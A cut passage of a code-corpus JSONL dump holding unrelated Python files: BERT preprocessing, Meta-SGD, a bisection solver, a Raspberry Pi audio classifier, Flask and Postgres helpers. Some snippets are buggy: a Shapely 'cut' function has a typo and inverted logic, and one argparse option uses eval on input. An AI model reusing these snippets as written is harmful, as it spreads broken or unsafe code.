training data (star_rating 1 through 5)\n label_id = label_map[text_input.label]\n\n features = InputFeatures(\n input_ids=input_ids,\n input_mask=input_mask,\n segment_ids=segment_ids,\n label_id=label_id)\n\n return features\n\ndef convert_features_to_tfrecord(inputs,\n output_file,\n max_seq_length):\n \"\"\"Convert a set of `Input`s to a TFRecord file.\"\"\"\n\n tfrecord_writer = tf.io.TFRecordWriter(output_file)\n\n for (input_idx, text_input) in enumerate(inputs):\n\n bert_features = convert_input(text_input, max_seq_length)\n\n tfrecord_features = collections.OrderedDict()\n\n tfrecord_features['input_ids'] = tf.train.Feature(int64_list=tf.train.Int64List(value=bert_features.input_ids))\n tfrecord_features['input_mask'] = tf.train.Feature(int64_list=tf.train.Int64List(value=bert_features.input_mask))\n tfrecord_features['segment_ids'] = tf.train.Feature(int64_list=tf.train.Int64List(value=bert_features.segment_ids))\n tfrecord_features['label_ids'] = tf.train.Feature(int64_list=tf.train.Int64List(value=[bert_features.label_id]))\n\n tfrecord = tf.train.Example(features=tf.train.Features(feature=tfrecord_features))\n\n tfrecord_writer.write(tfrecord.SerializeToString())\n\n tfrecord_writer.close()\n\n \n \ndef list_arg(raw_value):\n \"\"\"argparse type for a list of strings\"\"\"\n return str(raw_value).split(',')\n\n\n\n \ndef _transform_tsv_to_tfrecord(file, \n max_seq_length, \n balance_dataset):\n print('file {}'.format(file))\n print('max_seq_length {}'.format(max_seq_length))\n print('balance_dataset {}'.format(balance_dataset))\n\n filename_without_extension = Path(Path(file).stem).stem\n\n df = pd.read_csv(file, \n compression='gzip')\n\n df.isna().values.any()\n df = df.dropna()\n df = df.reset_index(drop=True)\n\n print('Shape of dataframe {}'.format(df.shape))\n\n \n print('Shape of dataframe before splitting {}'.format(df.shape))\n \n print('train split percentage {}'.format(args.train_split_percentage))\n print('validation split percentage {}'.format(args.validation_split_percentage))\n print('test split percentage {}'.format(args.test_split_percentage)) \n \n holdout_percentage = 1.00 - args.train_split_percentage\n print('holdout percentage {}'.format(holdout_percentage))\n df_train, df_holdout = train_test_split(df, \n test_size=holdout_percentage, \n stratify=df[LABEL_COLUMN])\n\n test_holdout_percentage = args.test_split_percentage / holdout_percentage\n print('test holdout percentage {}'.format(test_holdout_percentage))\n df_validation, df_test = train_test_split(df_holdout, \n test_size=test_holdout_percentage,\n stratify=df_holdout[LABEL_COLUMN])\n \n df_train = df_train.reset_index(drop=True)\n df_validation = df_validation.reset_index(drop=True)\n df_test = df_test.reset_index(drop=True)\n\n print('Shape of train dataframe {}'.format(df_train.shape))\n print('Shape of validation dataframe {}'.format(df_validation.shape))\n print('Shape of test dataframe {}'.format(df_test.shape))\n\n train_inputs = df_train.apply(lambda x: Input(text = x[DATA_COLUMN], \n label = x[LABEL_COLUMN]), axis = 1)\n\n validation_inputs = df_validation.apply(lambda x: Input(text = x[DATA_COLUMN], \n label = x[LABEL_COLUMN]), axis = 1)\n\n test_inputs = df_test.apply(lambda x: Input(text = x[DATA_COLUMN], \n label = x[LABEL_COLUMN]), axis = 1)\n\n # Next, we need to preprocess our data so that it matches the data BERT was trained on. For this, we'll need to do a couple of things (but don't worry--this is also included in the Python library):\n # \n # \n # 1. Lowercase our text (if we're using a BERT lowercase model)\n # 2. Tokenize it (i.e. \"sally says hi\" -> [\"sally\", \"says\", \"hi\"])\n # 3. Break words into WordPieces (i.e. \"calling\" -> [\"call\", \"##ing\"])\n # 4. Map our words to indexes using a vocab file that BERT provides\n # 5. Add special \"CLS\" and \"SEP\" tokens (see the [readme](https://github.com/google-research/bert))\n # 6. Append \"index\" and \"segment\" tokens to each input (see the [BERT paper](https://arxiv.org/pdf/1810.04805.pdf))\n # \n # We don't have to worry about these details. The Transformers tokenizer does this for us.\n # \n train_data = '{}/bert/train'.format(args.output_data)\n validation_data = '{}/bert/validation'.format(args.output_data)\n test_data = '{}/bert/test'.format(args.output_data)\n\n # Convert our train and validation features to InputFeatures (.tfrecord protobuf) that works with BERT and TensorFlow.\n df_train_embeddings = convert_features_to_tfrecord(train_inputs, \n '{}/part-{}-{}.tfrecord'.format(train_data, args.current_host, filename_without_extension), \n max_seq_length)\n\n df_validation_embeddings = convert_features_to_tfrecord(validation_inputs, '{}/part-{}-{}.tfrecord'.format(validation_data, args.current_host, filename_without_extension), max_seq_length)\n\n df_test_embeddings = convert_features_to_tfrecord(test_inputs, '{}/part-{}-{}.tfrecord'.format(test_data, args.current_host, filename_without_extension), max_seq_length)\n \ndef parse_args():\n # Unlike SageMaker training jobs (which have `SM_HOSTS` and `SM_CURRENT_HOST` env vars), processing jobs to need to parse the resource config file directly\n resconfig = {}\n try:\n with open('/opt/ml/config/resourceconfig.json', 'r') as cfgfile:\n resconfig = json.load(cfgfile)\n except FileNotFoundError:\n print('/opt/ml/config/resourceconfig.json not found. current_host is unknown.')\n pass # Ignore\n\n # Local testing with CLI args\n parser = argparse.ArgumentParser(description='Process')\n\n parser.add_argument('--hosts', type=list_arg,\n default=resconfig.get('hosts', ['unknown']),\n help='Comma-separated list of host names running the job'\n )\n parser.add_argument('--current-host', type=str,\n default=resconfig.get('current_host', 'unknown'),\n help='Name of this host running the job'\n )\n parser.add_argument('--input-data', type=str,\n default='/opt/ml/processing/input/data',\n )\n parser.add_argument('--output-data', type=str,\n default='/opt/ml/processing/output',\n )\n parser.add_argument('--train-split-percentage', type=float,\n default=0.90,\n )\n parser.add_argument('--validation-split-percentage', type=float,\n default=0.05,\n ) \n parser.add_argument('--test-split-percentage', type=float,\n default=0.05,\n )\n parser.add_argument('--balance-dataset', type=eval,\n default=False\n )\n parser.add_argument('--max-seq-length', type=int,\n default=32,\n ) \n \n return parser.parse_args()\n \n \ndef process(args):\n print('Current host: {}'.format(args.current_host))\n \n train_data = None\n validation_data = None\n test_data = None\n\n transform_tsv_to_tfrecord = functools.partial(_transform_tsv_to_tfrecord, \n max_seq_length=args.max_seq_length,\n balance_dataset=args.balance_dataset\n\n )\n input_files = glob.glob('{}/*'.format(args.input_data))\n print(\"********** input files ***************\") \n print(\"args.input_data: \", args.input_data)\n print(\"input_files: \", input_files)\n\n num_cpus = multiprocessing.cpu_count()\n print('num_cpus {}'.format(num_cpus))\n\n p = multiprocessing.Pool(num_cpus)\n p.map(transform_tsv_to_tfrecord, input_files)\n\n ## 수정 부분\n \n print(\"********** Listing tf-record files ***************\") \n print('Listing contents of {}'.format(args.output_data))\n train_tfrecord_path = '{}/bert/train'.format(args.output_data)\n dirs_output = os.listdir(train_tfrecord_path)\n for file in dirs_output:\n print(file)\n\n print('Listing contents of {}'.format(args.output_data))\n validation_data_tfrecord_path = '{}/bert/validation'.format(args.output_data)\n dirs_output = os.listdir(validation_data_tfrecord_path)\n for file in dirs_output:\n print(file)\n\n print('Listing contents of {}'.format(args.output_data))\n test_data_tfrecord_path = '{}/bert/test'.format(args.output_data)\n dirs_output = os.listdir(test_data_tfrecord_path)\n for file in dirs_output:\n print(file)\n\n\n print('Complete')\n \n \nif __name__ == \"__main__\":\n args = parse_args()\n print('################ START #######################') \n print('Loaded arguments:')\n print(args)\n \n print('Environment variables:')\n# print(os.environ)\n\n process(args) \n\n","sub_path":"Tweet-BERT/preprocess-scikit-text-to-bert.py","file_name":"preprocess-scikit-text-to-bert.py","file_ext":"py","file_size_in_byte":12226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"338851522","text":"valido = 0\nfor i in range(18644, 33088):\n tem_2 = 0\n tem_7 = 0\n n = str(i)\n for c in n:\n if c == '2':\n tem_2 = 1\n if c == '7':\n tem_7 = 1\n\n if tem_2 and not tem_7:\n valido += 1\nprint(valido)\n","sub_path":"Lista 5/Exercicio05_Bidu_04.py","file_name":"Exercicio05_Bidu_04.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"59617975","text":"# Copyright (c) 2019 Trail of Bits, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\n\ndef strip_whole_config(filename):\n if not filename.endswith(\".config\"):\n return \"\"\n filename = filename.rstrip(\".config\")\n basename, ext = os.path.splitext(filename)\n return basename\n\ndef get_binaries(directory):\n result = set()\n for f in os.listdir(directory):\n filename = strip_whole_config(f)\n if filename:\n result.add(filename)\n return result\n\ndef get_tags(config):\n with open(config, 'r') as f:\n line = f.readline().rstrip('\\n')\n tokens = line.split(' ')\n if tokens[0] != 'TAGS:':\n return []\n return tokens[1:]\n\ndef get_bin2tags(directory):\n result = {}\n for f in os.listdir(directory):\n filename = strip_whole_config(f)\n if not filename:\n continue\n\n tags = get_tags(os.path.join(directory, f))\n if filename not in result:\n result[filename] = tags\n else:\n result[filename].append(tags)\n return result\n\ndef get_cfg(directory, name):\n return os.path.join(directory, name + '.cfg')\n","sub_path":"tests/integration_tests/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"406292494","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[53]:\n\n\nimport numpy as np\nfrom load_data import load_data\nfrom preprocessing import cv_preprocessing\nfrom sklearn.model_selection import train_test_split, StratifiedKFold, cross_val_score\n\n\n# In[54]:\n\n\ndef sample_points(k):\n x = np.random.rand(k,50)\n y = np.random.choice([0, 1], size=k, p=[.5, .5]).reshape([-1,1])\n return x,y\n\n\n# In[55]:\n\n\nx, y = sample_points(10)\nprint(x[0])\nprint(y[0])\n\n\nclass MetaSGD(object):\n def __init__(self):\n \n #initialize number of tasks i.e number of tasks we need in each batch of tasks\n self.num_tasks = 2\n \n #number of samples i.e number of shots -number of data points (k) we need to have in each task\n self.num_samples = 10\n\n #number of epochs i.e training iterations\n self.epochs = 10000\n \n #hyperparameter for the inner loop (inner gradient update)\n self.alpha = 0.0001\n \n #hyperparameter for the outer loop (outer gradient update) i.e meta optimization\n self.beta = 0.0001\n \n #randomly initialize our model parameter theta\n self.theta = np.random.normal(size=85).reshape(85, 1)\n \n #randomly initialize alpha with same shape as theta\n self.alpha = np.random.normal(size=85).reshape(85, 1)\n \n #define our sigmoid activation function \n def sigmoid(self,a):\n return 1.0 / (1 + np.exp(-a))\n \n \n #now let us get to the interesting part i.e training :P\n def train(self, XTrain, YTrain, XTest, YTest):\n YTrain = YTrain.values.reshape(-1, 1)\n YTest = YTest.values.reshape(-1, 1)\n #for the number of epochs,\n for e in range(self.epochs): \n \n self.theta_ = []\n \n #for task i in batch of tasks\n for i in range(self.num_tasks):\n \n #sample k data points and prepare our train set\n \n a = np.matmul(XTrain, self.theta)\n\n YHat = self.sigmoid(a)\n\n #since we are performing classification, we use cross entropy loss as our loss function\n print(\"first\", np.matmul(-YTrain.T, np.log(YHat)))\n print(\"second\", np.matmul((1 -YTrain.T), np.log(1 - YHat)))\n print(\"third\", self.num_samples)\n\n loss = ((np.matmul(-YTrain.T, np.log(YHat)) - np.matmul((1 -YTrain.T), np.log(1 - YHat)))/self.num_samples)\n print(\"loss\", loss.values[0])\n loss = loss.values[0]\n #minimize the loss by calculating gradients\n gradient = np.matmul(XTrain.T, (YHat - YTrain)) / self.num_samples\n print(f\"gradient={gradient.shape}\")\n\n #update the gradients and find the optimal parameter theta' for each of tasks\n print(\"self.theta\", self.theta)\n print(\"self.alpha\", self.alpha, self.alpha.shape)\n print(\"np.multiply(self.alpha,gradient)\", np.multiply(self.alpha,gradient))\n self.theta_.append(self.theta - (np.multiply(self.alpha,gradient)))\n \n \n #initialize meta gradients\n meta_gradient = np.zeros(self.theta.shape)\n \n for i in range(self.num_tasks):\n \n #sample k data points and prepare our test set for meta training\n \n\n #predict the value of y\n print(\"XTest\", XTest.shape)\n print(\"self.theta_[i]\", self.theta_[i].shape)\n a = np.matmul(XTest, self.theta_[i])\n print(\"a\", a)\n YPred = self.sigmoid(a)\n \n #compute meta gradients\n meta_gradient += np.matmul(XTest.T, (YPred - YTest)) / self.num_samples\n\n #update our randomly initialized model parameter theta with the meta gradients\n self.theta = self.theta-self.beta*meta_gradient/self.num_tasks\n \n #update our randomly initialized hyperparameter alpha with the meta gradients\n self.alpha = self.alpha-self.beta*meta_gradient/self.num_tasks\n \n if e%1000==0:\n print(\"Epoch {}: Loss {}\\n\".format(e,loss))\n print('Updated Model Parameter Theta\\n')\n print('Sampling Next Batch of Tasks \\n')\n print('---------------------------------\\n')\n\n\n# In[61]:\n\n\n\ndf_preprocessed, features, target_feature = load_data()\ndf_preprocessed = df_preprocessed.dropna(subset=['target_binary_intrusion'], how='any')\n\nX_train, X_test, y_train, y_test = train_test_split(df_preprocessed[features], df_preprocessed['target_binary_intrusion'],\n test_size=0.15, stratify=df_preprocessed['target_binary_intrusion'])\nX_train, X_test = cv_preprocessing(X_train, X_test)\n\nmodel = MetaSGD()\nmodel.train(X_train, y_train, X_test, y_test)\n\n","sub_path":"pycharm/7.4 Building Meta-SGD from Scratch.py","file_name":"7.4 Building Meta-SGD from Scratch.py","file_ext":"py","file_size_in_byte":5033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"447668350","text":"# Hậu nghiệm\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nfrom numpy.lib import scimath\nimport timeit\n\n# Nhập vào hàm số\ndef f(x):\n return np.log(3 * x) + pow(2, x) - 2 * x -2\n\n# Bisection method\ndef bisection():\n def try_():\n print(\"----------------------------------------------------------------------\")\n print(\"Bạn có muốn sử dụng lại chương trình bisection method không? Yes/No? Y/N?\")\n request = str(input())\n a = request.upper()\n if (a == 'YES' or a == 'Y'):\n bisection()\n elif (a == 'NO' or a == 'N'):\n print(\"Cảm ơn. Hẹn gặp lại ♥ \")\n\n try:\n print(\"Khoảng cách ly nghiệm là khoảng sao trong khoảng a, b có duy nhất 1 nghiệm của phương trình\")\n print(\"Xác định cận dưới a của khoảng cách ly nghiệm. \")\n a = float(input(\"a = \"))\n print(\"Xác định cận trên b của khoảng cách ly nghiệm. \")\n b = float(input(\"b = \"))\n print(\"Độ chính xác epsilon.\")\n eps = float(input(\"epsilon = \"))\n except:\n print(\"----------------------------------------------------------------------\")\n print(\"Yêu cầu xác định lại khoảng cách ly nghiệm hoặc epsilon (số thực).\")\n print(\"Vui lòng xác định lại.\")\n bisection()\n else:\n if (a >= b or eps >= 1 or eps <= 0):\n print(\"----------------------------------------------------------------------\")\n print(\"Yêu xác định lại a < b và epsilon < 1 và khác epsilon >.\")\n bisection()\n elif (f(a) * f(b) >= 0):\n print(\"----------------------------------------------------------------------\")\n print(\"Khoảng cách ly nghiệm không hợp lệ yêu cầu xác định lại.\")\n bisection()\n # Vì đã kiểm tra điều kiện nghiêm ngặt của a, b ở trên nên chắc chắn rằng a thỏa mãn khoảng cách ly\n elif (f(a) * f((a + b) / 2) == 0):\n print(\"Nghiệm gần đúng của phưởng trình là: \", ((a + b) / 2))\n print(\"Số lần lặp là: 1 lần\")\n try_()\n\n # Bisection-Method\n else:\n # làm tròn eps\n e = eps\n demss = 0\n while e < 1:\n demss += 1\n e *= 10\n # Lặp đến khi sai số tuyệt đối < sai số cần tìm thì dừng.\n\n #Tạo bảng xét các lần lặp\n count = 0\n print(\"{0:^15}|{1:^15}|{2:^15}|{3:^15}|{4:^15}|{5:^15}|{6:^15}\".format(\"Số lần lặp\", \"a\", \"b\", \"c\", \"f(a)\",\n \"f(b)\", \"f(c)\"))\n #Phương pháp\n while ((math.fabs(b - a)/2.0)> eps):\n c = (a + b) / 2.0\n mid = f(a) * f(c)\n print(\"{0:^15}|{1:<15}|{2:<15}|{3:<15}|{4:<15}|{5:<15}|{6:<15}\".format(count, round(a, demss),\n round(b, demss),\n round(((a + b) / 2), demss),\n round(f(a), demss),\n round(f(b), demss),\n round(f((a + b) / 2), demss)))\n if (mid > 0):\n a = c\n elif (mid < 0):\n b = c\n else:\n print(\"- Số lần lặp: \", count)\n print(\"=> Nghiệm gần đúng của phương trình là: x = \", round(c, demss))\n try_()\n count += 1\n print(\"- Số lần lặp: \", count)\n print(\"=> Nghiệm gần đúng của phương trình là: x = \", round(c, demss))\n start = timeit.default_timer()\n stop = timeit.default_timer()\n print('- Time: ', (stop - start) * 1000, \"ms\")\n try_()\nbisection()","sub_path":"GTS Toán Tin 20202/Chủ đề giải tích số/Chủ đề 2_ Chia Đôi/Code/bisection_2.py","file_name":"bisection_2.py","file_ext":"py","file_size_in_byte":4290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"377406878","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 4 09:05:16 2018\n\n@author: Diogo\n\"\"\"\n\nfrom SQL_obj_new.PPI_preview_sql_new import _PPIpreview_sql_new\n\nclass PPI_preview(object):\n \"\"\"\n This class treat the PPI_preview object has it exists in PPI_preview table database\n By default, all FK are in the lasts positions in the parameters declaration\n \"\"\"\n\n def __init__(self, id_ppi_prev = -1, score_ppi_prev = -1, type_ppi_prev = -1, fk_couple = -1, fk_prot_bact = -1, fk_prot_phage = -1):\n \"\"\"\n Constructor of the Organism object. All the parameters have a default value\n\n :param id_ppi_prev: id of the PPI_prev - -1 if unknown\n :param score_ppi_prev: gi of the score of the PPI - -1 if unknown\n :param type_ppi_prev: type of PPI (1 - 3DID, 2 - iPfam, 3 - ME, 4 - sum other) - -1 if unknown\n :param fk_couple: fk of the couple - -1 if unknown\n :param fk_prot_bact: fk of the bacterium protein- -1 if unknown\n :param fk_prot_phage: fk of the phage protein - -1 if unknown\n\n :param id_ppi_prev: int - not required\n :param score_ppi_prev: int - required\n :param type_ppi_prev: int - required\n :param fk_couple: int - required\n :param fk_prot_bact: int - required\n :param fk_prot_phage: int - required\n :type fk_source_data: int - required\n \"\"\"\n self.id_ppi_prev = id_ppi_prev\n self.score_ppi_prev = score_ppi_prev\n self.type_ppi_prev = type_ppi_prev\n self.fk_couple = fk_couple\n self.fk_prot_bact = fk_prot_bact\n self.fk_prot_phage = fk_prot_phage\n\n def create_ppi_preview(self):\n \"\"\"\n Insert a PPI_preview in the database. \n \n The id of the PPI_preview is updated\n\n :return: id of the PPI_preview\n :rtype: int\n \"\"\"\n ppi_id = None\n sqlObj = _PPIpreview_sql_new()\n\n ppi_id = sqlObj.insert_PPI(self.score_ppi_prev, self.type_ppi_prev, self.fk_couple, self.fk_prot_bact, self.fk_prot_phage)\n self.id_ppi_prev = ppi_id\n return ppi_id\n\n def get_ppi_preview_scores_grouped_by_couple_id(couple_id):\n \"\"\"\n Return all PPI scores grouped in a array given its couple id\n\n :param id_couple: id of the couple - -1 if unknown\n\n :type id_couple: text - required \n\n :return: array of PPI_preview scores\n :rtype: array(int)\n \"\"\"\n list_scores_PPI = []\n sqlObj = _PPIpreview_sql_new()\n results = sqlObj.select_all_ppi_preview_grouped_by_couple_id(couple_id)\n for element in results:\n list_scores_PPI.append(int(element[2]))\n return list_scores_PPI\n\n def get_all_ppi_preview_couple():\n \"\"\"\n Return all PPI preview couple treated\n\n :return: array of PPI_preview fk couples\n :rtype: array(int)\n \"\"\"\n list_scores_PPI_fk_couple = []\n sqlObj = _PPIpreview_sql_new()\n results = sqlObj.select_all_ppi_preview_fk_couples()\n for element in results:\n list_scores_PPI_fk_couple.append(element[0])\n return list_scores_PPI_fk_couple\n\n def get_max_ppi_score():\n \"\"\"\n Return the max ppi score obtained in the DB\n\n :return: biggest ppi score\n :rtype: int\n \"\"\"\n list_scores_PPI_fk_couple = []\n sqlObj = _PPIpreview_sql_new()\n results = sqlObj.select_all_score_PPI()\n for element in results:\n list_scores_PPI_fk_couple.append(element[2])\n max_value = max(list_scores_PPI_fk_couple)\n return max_value\n\n def get_number_ppi_score_by_bact_phage_prots(fk_prot_bac, fk_prot_phage):\n \"\"\"\n Return the ppi score given the bacterium and phage protein ids\n\n :param fk_prot_bac: fk of the bacterium protein - -1 if unknown\n :param fk_prot_phage: fk of the phage protein - -1 if unknown\n\n :type fk_prot_bac: text - required \n :type fk_prot_phage: text - required \n\n :return: quantity of scores\n :rtype: int\n \"\"\"\n\n sqlObj = _PPIpreview_sql_new()\n results = sqlObj.count_ppi_preview_by_ids_ppi(fk_prot_bac, fk_prot_phage)\n return results[0][0]\n\n def remove_PPI_preview_by_protein_id(id_protein):\n \"\"\"\n remove a PPI_preview given the protein id\n\n :param id_protein: id of the protein\n\n :type id_protein: int - required\n\n :return: prot_dom it removed\n :rtype: int\n \"\"\"\n sqlObj = _PPIpreview_sql_new()\n id_couple = sqlObj.remove_PPI_preview_by_prot_id(id_protein)\n return id_couple\n\n\n\n","sub_path":"objects_new/PPI_preview_new.py","file_name":"PPI_preview_new.py","file_ext":"py","file_size_in_byte":4610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"172751234","text":"#!/usr/bin/env python\nimport subprocess\nimport RPi.GPIO as GPIO\nimport time\nimport threading\nimport re\nimport shutil\nimport urllib\nimport datetime\nimport socket\n\nhostname = socket.gethostname()\nservername = \"aml195035.local:8000\"\nactime = 0\n\n#cmd = 'export ALSADEV=plughw:2; julius -h gmmdefs -w class.txt -wsil noise noise noise -input alsa -lv 900 -record ./save'\n#cmd = 'export ALSADEV=plughw:2; julius -h gmmdefs -w class.txt -input alsa -lv 900 -record ./save'\ncmd = 'julius -h gmmdefs -w class.txt -input alsa -lv 6000 -record ./save'\n\ndef LEDon():\n GPIO.output(11, True) \n time.sleep(1.0)\n GPIO.output(11, False) \n \ndef LEDchika():\n GPIO.output(11, True)\n time.sleep(0.1)\n GPIO.output(11, False)\n time.sleep(0.1)\n GPIO.output(11, True)\n time.sleep(0.1)\n GPIO.output(11, False)\n\ndef server(so):\n\tthreading.Thread(target=LEDon).start()\n\tsrc = open(\"./save/%s\" % filename, \"r\")\n\tdst = open(\"./\" + so + \"/%s\" % filename, \"w\")\n\tshutil.copyfileobj(src, dst)\n\turllib.urlopen(\"http://\" + servername + \"/httpserver/\" + so + \"/\" + hostname + \"/\" + str(actime) + \"/\")\n\nif __name__ == '__main__':\n GPIO.setmode(GPIO.BOARD)\n GPIO.setup(11, GPIO.OUT)\n\n p = subprocess.Popen(cmd, shell=True, close_fds=True,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n while True:\n line = p.stdout.readline()\n #print (\"cmd: \" + line)\n \t\t\n if re.search(r\"recorded to\", line):\n filenameSearch = re.search(\"(\\d\\d\\d\\d\\.\\d\\d\\d\\d\\.\\d\\d\\d\\d\\d\\d\\.wav)\", line)\n stoptime = datetime.datetime.now().strftime(\"%H%M%S.\") + \"%04d\" %(datetime.datetime.now().microsecond // 1000)\n rectime = re.search(\"\\d\\d\\d\\d\\d\\d\", line)\n recedtime = rectime.group()\n actime = float(stoptime) - float(recedtime)\n #print (\"stop\" + stoptime)\n #print (\"go\" + recedtime)\n #print (\"result\" + str(actime))\n \n filename = filenameSearch.group(1)\n \t#print (\"file: \" + filename)\n\n if re.search(r\"sentence1:\", line):\n print (\"result: \" + line)\n if re.search(r\"laugh\", line):\n server(\"laugh\")\n\n if re.search(r\"adult\", line):\n \t\tserver(\"voice\")\n \n else:\n server(\"noise\")","sub_path":"talkled.py","file_name":"talkled.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"402602574","text":"#!/usr/bin/python\nfrom flask import Flask, jsonify\nfrom flask import abort\nfrom flask import make_response\nfrom flask_cors import CORS, cross_origin\nfrom flask import request\nimport json\nfrom flask import url_for\nfrom random import randint\nimport pika\nimport sys\nfrom comunicacao import Fila\n#import MySQLdb\n\n\n\n#db = MySQLdb.connect(\"localhost\", \"root\",\"db\")\n#cursor = db.cursor()\nclass GerenciaPartida(object):\n\tdef __init__(self):\n\t\tself.inicio = 0\n\t\tself.modo = 0\n\t\tself.i = 0\n\t\tself.pausa = 0\n\t\tself.cacas = [None] * 8\n\n\tdef modoPartida(self, idModo):\n\t\tif idModo == 1:\n\t\t\tself.modo = 1\n\t\telse:\n\t\t\tself.modo = 0\n\n\t\tself.inicio = 1\n\t\tstrmodo = str(self.modo)\n\t\tstrinicio = str(self.inicio)\n\t\t#db = MySQLdb.connect(\"localhost\",\"root\",\"\",\"JOGO\")\n\t\t#cursor = db.cursor()\n\n\t\ti = 0\n\t\tfor i in range(0,8):\n\t\t\tx = randint(0,9)\n\t\t\ty = randint(0,9)\n\t\t\tself.cacas[i] = [x,y]\n\t\t\t#aux1 = \"UPDATE ALVOS SET CACAS = \\'\"\n\t\t\t#caca = str(self.cacas[i])\n\t\t\t#meio = \"' WHERE ID = \"\n\t\t\t#stri = str(i+1)\n\t\t\t#sql = aux1 + caca + meio + stri + ';'\n\t\t\t#print(sql)\n\t\t\t#sql = \"INSERT INTO ALVOS(CACA) VALUES ('1')\"\n\n\t\t\t#try:\n\t\t\t#\tcursor.execute(sql)\n\t\t\t#\tdb.commit()\n\t\t\t#except:\n\t\t\t#\tdb.rollback()\n\n\t\t#db.close()\n\t\tmodo_de_jogo = [strmodo,strinicio,self.cacas]\n\t\tjson_mododejogo = json.dumps(modo_de_jogo)\n\t\treturn json_mododejogo\n\n\tdef pausa_partida(self):\n\t\tif self.pausa == 0:\n\t\t\tself.pausa = 1\n\t\telse:\n\t\t\tself.pausa = 0\n\n\t\tpausa = str(self.pausa)\n\t\treturn pausa\n\n\tdef fim_partida(self):\n\t\tself.inicio = 10;\n\t\treturn str(self.inicio)\n\t\n\tdef ativos(self,i):\n\t\tself.i = i\n \n\tdef retornaAtivos(self):\n\t\treturn self.i\n","sub_path":"SA/gerenciapartida.py","file_name":"gerenciapartida.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"596067108","text":"# -*- coding: utf-8 -*-\nimport os\n\n\nfrom shapely.geometry import LineString\nline = LineString()\nline.is_empty\nline.length\nline.bounds\nline.coords\nline.coords = [(0,0),(1,1)]\nline.is_empty\nline.length\nline.bounds\n\nip = LineString([(0,0),(0,1),(1,1)]).interpolate(1.5)\nip\nip.wkt\nLineString([(0,0),(0,1),(1,1)]).interpolate(0.75,normalized = True).wkt\n# {}'POINT (0.5000000000000000 1.0000000000000000)'\n\nLineString([(0,0),(0,1),(1,1)]).project(ip)\nLineString([(0,0),(0,1),(1,1)]).project(ip,normalized =True)\n\ndef cut(line,distance):\n if distance >= 0.0 or distance >= line.length:\n return [LineString(line)]\n coords = list(line.coords)\n for i, p in encumerste(coords):\n pd = line.project(Point(p))\n if pd == distance:\n return [\n LineString(coords[:i+1]),\n LineString(coords[i:])]\n if pd > distance:\n cp = line.interpolate(distance)\n return [\n LineString(coords[:i] + [(cp.x,cp.y)]),\n LineString([(cp.x,cp.y)] + coords[i:])]\n# line = LineString([0,0),\n# pprint([list(x.coords) for x in cut(line,1.0)])\n# pprint([list(x.coords) for x in cut(line,2.5)])\n","sub_path":"ch07_Shapely/sec02_jiheduixiang/g7_2_5_qitawenti.py","file_name":"g7_2_5_qitawenti.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"169295324","text":"import logging\nimport psycopg2\nfrom psycopg2.extras import Json\nfrom zentral.core.events import event_cls_from_type, event_from_event_d\nfrom zentral.core.events.base import EventMetadata, EventRequest\nfrom zentral.core.stores.backends.base import BaseEventStore\n\nlogger = logging.getLogger('zentral.core.stores.backends.postgres')\n\npsycopg2.extras.register_uuid()\n\n\nclass EventStore(BaseEventStore):\n CREATE_TABLE = \"\"\"\n CREATE TABLE events (\n machine_serial_number varchar(100),\n event_type varchar(32),\n uuid uuid,\n index integer,\n user_agent text,\n ip inet,\n \"user\" jsonb,\n payload jsonb,\n created_at timestamp,\n stored_at timestamp default current_timestamp\n );\n CREATE INDEX events_machine_serial_number ON events(machine_serial_number);\n \"\"\"\n\n def __init__(self, config_d):\n super(EventStore, self).__init__(config_d)\n kwargs = {}\n for conn_arg in ('database', 'user', 'password', 'host', 'port'):\n val = config_d.get(conn_arg, None)\n if val:\n kwargs[conn_arg] = val\n # TODO: deprecate !\n if 'database' not in kwargs and 'db_name' in config_d:\n logger.warning(\"the 'db_name' configuration attribute for the \"\n \"postgres event store is deprecated. Please use the \"\n \"'database' attribute.\")\n kwargs['database'] = config_d['db_name']\n self._conn = psycopg2.connect(**kwargs)\n\n def wait_and_configure(self):\n # TODO: WAIT !\n table_count = 0\n with self._conn:\n with self._conn.cursor() as cur:\n cur.execute(\"select count(*) from pg_tables \"\n \"where schemaname='public' and tablename='events';\")\n table_count = cur.fetchone()[0]\n if not table_count:\n # create table\n with self._conn:\n with self._conn.cursor() as cur:\n cur.execute(self.CREATE_TABLE)\n self.configured = True\n\n def _serialize_event(self, event):\n metadata = event.metadata\n doc = {'machine_serial_number': metadata.machine_serial_number,\n 'event_type': event.event_type,\n 'uuid': metadata.uuid,\n 'index': metadata.index,\n 'created_at': metadata.created_at}\n if metadata.request is not None:\n doc['user_agent'] = metadata.request.user_agent\n doc['ip'] = metadata.request.ip\n user = metadata.request.user\n if user:\n doc['user'] = Json(user.serialize())\n else:\n doc['user_agent'] = None\n doc['ip'] = None\n doc['user'] = None\n doc['payload'] = 